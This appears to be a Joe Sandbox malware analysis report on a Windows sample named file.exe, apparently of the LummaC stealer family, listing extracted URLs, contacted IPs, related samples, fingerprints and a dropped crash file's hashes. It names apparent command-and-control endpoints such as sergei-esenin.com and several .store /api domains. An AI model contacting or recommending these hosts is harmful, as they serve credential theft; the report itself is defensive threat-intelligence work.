https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=hgPi	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://s.ytimg.com;	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eaglepawnoy.store:443/api	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse	unknown
https://steam.tv/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/points/shop/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sketchfab.com	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://lv.queniujq.cn	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://sergei-esenin.com:443/apifiles/76561199724331900	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000002.2059024144.0000000001547000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801841319.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1801780211.00000000015DC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/api	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=2Ih2WOq7ErXY&a	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://checkout.steampowered.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic	file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://steamcommunity.com/market/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/news/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/discussions/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/stats/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://medal.tv	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=jGtzAgjYROne&l=e	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clearancek.site:443/api	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://login.steampowered.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studennotediw.store:443/api	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:27060	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spirittunek.store:443/api	file.exe, 00000000.00000002.2059024144.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=bz0kMfQA	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.steampowered.com/	file.exe, 00000000.00000003.1794883293.0000000001583000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/account/cookiepreferences/	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.1801780211.00000000015D2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794840779.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	true
172.67.206.204	sergei-esenin.com	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532898
Start date and time:	2024-10-14 06:01:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/9@10/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:02:08	API Interceptor	4x Sleep call for process: file.exe modified
00:02:33	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
172.67.206.204	SoftWare.exe	Get hash	malicious	LummaC	Browse
	SoftWare(2).exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Variant.Lazy.606929.21165.21266.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	SoftWare.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SoftWare(2).exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
steamcommunity.com	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SoftWare(2).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://totalcanterbury0.sharefile.com/public/share/web-034ada86e7d04d74	Get hash	malicious	Unknown	Browse	172.67.74.152
	arm5.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	1.13.112.124
	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.21.79.35
	SoftWare.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SoftWare(2).exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.46.170
	Compliance_Report_Final_Q3_8c3f5541a91374b5bf18ac88017a597742a1891a.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://aa.ns.agingbydesignministry.org/?company=john_smith@company.com/1/01020192845e78dd-2d6e57c1-2477-4368-9808-e405234d7366-000000/JciFxQG6yOVw83-lKIliC63cjw4=395	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
AKAMAI-ASUS	arm5.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	104.117.28.226
	arm7.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	104.124.6.21
	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SoftWare(2).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SoftWare.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SoftWare(2).exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	FACTURA.cmd	Get hash	malicious	DBatLoader	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_10ade8c62e1e5b932c9965c096b42c43be687_852b229c_5b3260ed-724a-42b7-8cd0-f6e1e5b02db9\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0614330394083293
Encrypted:	false
SSDEEP:	192:PScJDSLVMv7PlR00Hzr/I3juFSnDRzuiF9Z24IO8TVB:RL7NS0Hzr4jDdzuiF9Y4IO8X
MD5:	C84AC90A9A785813B4DD374303AE6E8A
SHA1:	9CD8962B28C1CF08216675FD594C56298EC9878E
SHA-256:	36B66FA956CA2083A7E2219A59571A17D45C859914C9E801583575AFA9B86280
SHA-512:	E6B56F065B59440AD27B983300C72A31C76CE6E17B67AFEB39FF9833C69E7AADECFF5DA0D467E57C6D050E41E861ED2D9E8BFB1E621F8EC1B56DEB9724C5DD55
Malicious:	true
Reputation:	low
